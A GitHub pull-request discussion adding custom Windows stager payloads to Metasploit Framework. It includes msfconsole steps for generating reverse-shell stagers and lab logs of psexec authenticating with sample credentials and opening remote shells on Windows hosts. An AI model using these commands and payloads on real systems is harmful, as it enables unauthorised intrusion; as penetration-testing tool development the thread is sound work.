metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Add custom stager

Open bwatters-r7 opened this issue 3 years ago • 10 comments

Alternative solution to https://github.com/rapid7/metasploit-framework/pull/16397

This is a draft PR and needs to have support added for x64 windows, but I wanted to get some eyes on it, first....

This is a PR that adds support for a custom stager type for windows x86.
Basically, the goal is to let someone use a Metasploit-derived stager and handler with their own custom shellcode.

To do this, we needed to shim in a way to get windows/*/reverse_http to play like windows/*/reverse_tcp when it comes to prepended size values. Also, we added a handler with an option to prepend the size for you if you just give it the shellcode.

Verification

List the steps needed to make sure this thing works To use this with a binary shellcode blob (I used a meterpreter single-type payload like windows/shell_reverse_http): In framework window 1:

  • [ ] Start msfconsole
  • [ ] use payload/windows/shell_reverse_http
  • [ ] set LHOST <lhost>
  • [ ] set LPORT <lport>
  • [ ] generate -f raw -o <shell_payloadfilename.bin>
  • [ ] to_handler
  • [ ] use payload/windows/custom/reverse_http
  • [ ] set SHELLCODE_FILE <shell_payloadfilename.bin>
  • [ ] set PrependSize true (Default is true)
  • [ ] generate -f exe -o <stager_filename.exe>
  • [ ] to_handler

Upload stager_filename.exe to a windows host. You should get the callback to your custom handler that uploads the single payload as shellcode and runs it, then you should get a callback on the second handler and get your session.

Also, as this custom handler is sockedi compliant, it will play seamlessly with our meterpreter payloads that share a socket....

  • [ ] Start msfconsole
  • [ ] use payload/windows/custom/reverse_tcp
  • [ ] set LHOST <lhost>
  • [ ] set LPORT <lport>
  • [ ] generate -f exe -o <stager_filename.exe>
  • [ ] use payload/windows/meterpreter/reverse_tcp
  • [ ] set LHOST <lhost>
  • [ ] set LPORT <lport>
  • [ ] to_handler

Upload stager_filename.exe to a windows host. You should get the callback to your meterpreter handler that uploads the meterpreter stage and gives you a session on the original socket.

bwatters-r7 avatar May 02 '22 20:05 bwatters-r7

As an aside, I'd assumed reverse_http was basically sort of sockedi compliant, but on a second look, it is decidedly not. It looks like the handler for the internet file is in esi, so I need to double check that I have the compatibility correct. It means that we could not use cross-transport stages/stagers, but I assume this would explode if we treated a handle to an internet file like a socket, anyway. Curious if there's a good way to enforce that, but given the fluid nature, I think documentation would be the best bet.....

bwatters-r7 avatar May 03 '22 14:05 bwatters-r7

image

bwatters-r7 avatar May 12 '22 13:05 bwatters-r7

In both of these cases I was using a windows shell stageless payload with a separate listener.

reverse_winhttp

msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.5.132.105     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
                                                    ng-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
                                                    /write folder share
   SMBUser                                no        The username to authenticate as


Payload options (windows/custom/reverse_winhttp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST           10.5.135.101     yes       The local listener hostname
   LPORT           8080             yes       The local listener port
   LURI                             no        The HTTP Path
   SHELLCODE_FILE                   no        shellcode bin to launch


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > set shellcode_FilE '/home/tmoose/rapid7/metasploit-framework/revtcp_shell_4567.bin' 
shellcode_FilE => /home/tmoose/rapid7/metasploit-framework/revtcp_shell_4567.bin
msf6 exploit(windows/smb/psexec) > set smbuser vagrant
smbuser => vagrant
msf6 exploit(windows/smb/psexec) > set smbpass vagrant
smbpass => vagrant
msf6 exploit(windows/smb/psexec) > set rhost 10.5.132.173
rhost => 10.5.132.173
msf6 exploit(windows/smb/psexec) > run

[*] Started HTTP reverse handler on http://10.5.135.101:8080/
[*] 10.5.132.173:445 - Connecting to the server...
[*] 10.5.132.173:445 - Authenticating to 10.5.132.173:445 as user 'vagrant'...
[*] 10.5.132.173:445 - Selecting PowerShell target
[*] 10.5.132.173:445 - Executing the payload...
[+] 10.5.132.173:445 - Service start timed out, OK if running a command or non-service executable...
[!] http://10.5.135.101:8080/ handling request from 10.5.132.173; (UUID: phgc1wco) Without a database connected that payload UUID tracking will not work!
Trying to stage Payload
[*] http://10.5.135.101:8080/ handling request from 10.5.132.173; (UUID: phgc1wco) Staging x86 payload (328 bytes) ...
[*] Command shell session 1 opened (10.5.135.101:4567 -> 10.5.132.173:49680 ) at 2022-05-13 08:07:13 -0500

reverse_winhttp x64

msf6 payload(windows/x64/shell_reverse_tcp) > use exploit/windows/smb/psexec 
set[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
                                                    ng-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
                                                    /write folder share
   SMBUser                                no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.5.135.101     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > set rhost 10.5.132.173
rhost => 10.5.132.173
msf6 exploit(windows/smb/psexec) > set smbuser vagrant
smbuser => vagrant
msf6 exploit(windows/smb/psexec) > set smbpass vagrant
smbpass => vagrant
msf6 exploit(windows/smb/psexec) > set payload windows/x64/custom/reverse_winhttp
payload => windows/x64/custom/reverse_winhttp
msf6 exploit(windows/smb/psexec) > set shellcode_file '/home/tmoose/rapid7/metasploit-framework/revtcpx64_shell_4564.bin' 
shellcode_file => /home/tmoose/rapid7/metasploit-framework/revtcpx64_shell_4564.bin
msf6 exploit(windows/smb/psexec) > run

[*] Started HTTP reverse handler on http://10.5.135.101:4444/
[*] 10.5.132.173:445 - Connecting to the server...
[*] 10.5.132.173:445 - Authenticating to 10.5.132.173:445 as user 'vagrant'...
[*] 10.5.132.173:445 - Selecting PowerShell target
[*] 10.5.132.173:445 - Executing the payload...
[+] 10.5.132.173:445 - Service start timed out, OK if running a command or non-service executable...
[!] http://10.5.135.101:4444/ handling request from 10.5.132.173; (UUID: kdmx6vcq) Without a database connected that payload UUID tracking will not work!
Trying to stage Payload
[*] http://10.5.135.101:4444/ handling request from 10.5.132.173; (UUID: kdmx6vcq) Staging x64 payload (464 bytes) ...
[*] Command shell session 1 opened (10.5.135.101:4564 -> 10.5.132.173:49687 ) at 2022-05-13 08:33:09 -0500

bwatters-r7 avatar May 13 '22 13:05 bwatters-r7

So for outstanding items it looks like we still need:

  • [ ] Unnecessary rubocop changes dropped from the change set

Just on that, it'd be great to rebase/squash that noise out of the commit history just to keep things clean :+1:

adfoster-r7 avatar May 18 '22 14:05 adfoster-r7

  • [x] Fixes for double-prepending the size, ie the PrependSize option should be dropped because it's just always prepended now. By removing it where it's added for the reverse_tcp/bind_tcp handlers we can make it just always work without needing the user to know it. See this as an example.

I'm still thinking this through, and I'm not sure how I feel about it. My gut says it should stay, but I'm struggling to find a strong defense of my gut, so you're probably right and I'm going to change my mind to agree with you in short order. I just haven't gotten there. yet.

bwatters-r7 avatar May 18 '22 15:05 bwatters-r7

I tried running update payload cache size, but it seems that the generated numbers were wrong? I just grabbed the expected values from the logs and copied them over. 🤷

bwatters-r7 avatar May 27 '22 14:05 bwatters-r7

I ran into an odd situation where the shellcode file was nil, so the handler failed when it tried to stage a nil stage. There is not great way to prevent that situation, because a use case here is to create a custom stager, then have it call back to a different handler, so in that case, no shellcode_file is required, so we cannot mark shellcode_file as required. Instead, I just added a better error message than "length is not a method for nil" and crashing.

bwatters-r7 avatar May 31 '22 19:05 bwatters-r7

Should the handler be allowed to run when it does not have the stage to serve?

If the file referenced to be staged is available the handler would start and be expected to hand off the stage which in some cases will continue traffic to the handler or in other cases connect to another C2 configured in the stage it is handing out. In the case where the file is not actually available is the handler framework even for a stager? Would it be reasonable to simply report that the stage is not available and no listener will be opened?

jmartin-tech avatar May 31 '22 21:05 jmartin-tech

@jmartin-r7, yeah. I should have been more specific; it is not just an error message, it is a fail_with message during the handler setup code. If someone tries to launch a handler when the SHELLCODE_FILE is nil, the handler fails with Msf::Module::Failure::BadConfig, "No SHELLCODE_FILE provided" . If the SHELLCODE_FILE provided cannot be opened, it fails with Msf::Module::Failure::BadConfig, "Bad SHELLCODE_FILE provided".

bwatters-r7 avatar Aug 19 '22 19:08 bwatters-r7

Reloading old context, I "think" what I was suggesting is that the code here should not call fail_with but simply log that no handler is being opened as SHELLCODE_FILE is nil to signify that the handler is expected to be managed by user via an external process not known inside the console.

jmartin-tech avatar Aug 19 '22 20:08 jmartin-tech

I see what you're saying. To accomplish that, we'd need to put a check in (I believe) the exploit core library. Then we could skip the handler setup and start. That said, I still think that placing the code in the custom payload handler is a better option, and the more I think about it, the more I think is should remain a fail_with rather than trying to guess what the user intended. In the case of a simple payload, it makes sense to me to say "You did not give us a stager, then we expect you to have a listener elsewhere" and continue, but in the case of an exploit, I'd argue we should not guess at behavior. Placing the check in the handler and calling a fail_with should cause the exploit to fail before the exploit is thrown, and it will tell the user "something's wrong; fix it" and not send the exploit code.

bwatters-r7 avatar Aug 22 '22 15:08 bwatters-r7

In general I think fail_with is a reasonable compromise. Holding this for a better solution does not seem valuable. In the case of an exploit, if the file was not available when starting the exploit setting up handler is not going to matter.

In a separate scenario, asking the user for affirmative configuration to indicate the handler is not expected to be interacted with when utilizing this payload might have value as a future iteration. As is framework would possibly record failure when an exploit delivers a custom payload that will interact with an external handler, this likely already exists to an extent with the Custom::EXE payload options though.

jmartin-tech avatar Aug 22 '22 20:08 jmartin-tech

msf6 exploit(windows/smb/psexec) > use payload/windows/x64/shell_reverse_tcp
msf6 payload(windows/x64/shell_reverse_tcp) > set lhost 10.5.135.101
lhost => 10.5.135.101
msf6 payload(windows/x64/shell_reverse_tcp) > set lport 4568
lport => 4568
msf6 payload(windows/x64/shell_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 10.5.135.101:4568 
msf6 payload(windows/x64/shell_reverse_tcp) > use exploit/windows/smb/psexec
[*] Using configured payload windows/x64/custom/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.5.132.159     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
                                                    ng-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               v3Mpassword      no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
                                                    /write folder share
   SMBUser               Administrator    no        The username to authenticate as


Payload options (windows/x64/custom/reverse_tcp):

   Name            Current Setting        Required  Description
   ----            ---------------        --------  -----------
   EXITFUNC        thread                 yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST           10.5.135.101           yes       The listen address (an interface may be specified)
   LPORT           4567                   yes       The listen port
   SHELLCODE_FILE  shell_revtcp_4568.bin  no        Shellcode bin to launch


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.5.135.101:4567 
[*] 10.5.132.159:445 - Connecting to the server...
[*] 10.5.132.159:445 - Authenticating to 10.5.132.159:445 as user 'Administrator'...
[!] 10.5.132.159:445 - No active DB -- Credential data will not be saved!
[*] 10.5.132.159:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 10.5.132.159:445 - PowerShell found
[*] 10.5.132.159:445 - Selecting PowerShell target
[*] 10.5.132.159:445 - Powershell command length: 4479
[*] 10.5.132.159:445 - Executing the payload...
[*] 10.5.132.159:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.159[\svcctl] ...
[*] 10.5.132.159:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.5.132.159[\svcctl] ...
[*] 10.5.132.159:445 - Obtaining a service manager handle...
[*] 10.5.132.159:445 - Creating the service...
[+] 10.5.132.159:445 - Successfully created the service
[*] 10.5.132.159:445 - Starting the service...
[+] 10.5.132.159:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.5.132.159:445 - Removing the service...
[+] 10.5.132.159:445 - Successfully removed the service
[*] 10.5.132.159:445 - Closing service handle...
[*] Sending stage (460 bytes) to 10.5.132.159
[+] Custom stage sent; session has been closed
[*] Custom session 1 opened (10.5.135.101:4567 -> 127.0.0.1) at 2022-09-07 15:42:03 -0500


[*] 10.5.132.159 - Custom session 1 closed.  Reason: User exit
[+] Custom stage sent; session has been closed
msf6 exploit(windows/smb/psexec) > [*] Command shell session 2 opened (10.5.135.101:4568 -> 10.5.132.159:55490) at 2022-09-07 15:42:08 -0500

msf6 exploit(windows/smb/psexec) > sessions -i -1
[*] Starting interaction with 2...


Shell Banner:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
-----
          

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::1054:53:8f37:5615%11
   IPv4 Address. . . . . . . . . . . : 10.5.132.159
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

Tunnel adapter isatap.{A69D5981-18E2-43CF-982C-D844D6BB7D03}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Windows\system32>

bwatters-r7 avatar Sep 07 '22 20:09 bwatters-r7

Release Notes

This adds a 32-bit and 64-bit custom stage Windows payload. The custom stage allows users to provide their own custom executable code to be delivered as the payload stage in place of Meterpreter, Shell and other Metasploit-provided stages.

smcintyre-r7 avatar Sep 08 '22 18:09 smcintyre-r7

Can you add manual byte length increase? https://github.com/rapid7/metasploit-framework/pull/16397

a3sroot avatar Oct 20 '22 07:10 a3sroot

@a3sroot- this implementation uses the first four bytes sent to the stager as the size. If you are using the Metasploit handler, it will calculate that sized based on the shellcode file you provide, and then send that size prepended onto the shellcode, so you should not have to do anything to change the size as it will be calculated for you. If you do not want to use the Metasploit handler, you will need to append the size of the shellcode with a 4 byte value before sending it to the stager.

bwatters-r7 avatar Oct 20 '22 13:10 bwatters-r7

I am trying to stage very large payloads (Sliver for example) and it doesn't seem to like it. It works fine with custom/reverse_tcp but custom/reverse_https it doesn't. I have tried smaller payloads and it works fine. What I did was used donut to convert the exe to shellcode and served it with the multi/handler, setting shellcode_file attribute. Is there a work around on this?

EAGAIIN avatar May 07 '24 15:05 EAGAIIN

@EAGAIIN Would you mind opening a fresh ticket for us to look into your issue? The stagers have inconsistent limitations in terms of size, so it's possible that reverse_https is using a smaller limit. I can look into it, but it'd be helpful to have replication steps for what you're trying to do and more importantly the size of your payload. I'm not sure what exactly you consider large, so if I could get the count of bytes, that'd help me replicate it and check if our limits are the problem.

Feel free to tag me in the new issue so I get notified.

smcintyre-r7 avatar May 07 '24 15:05 smcintyre-r7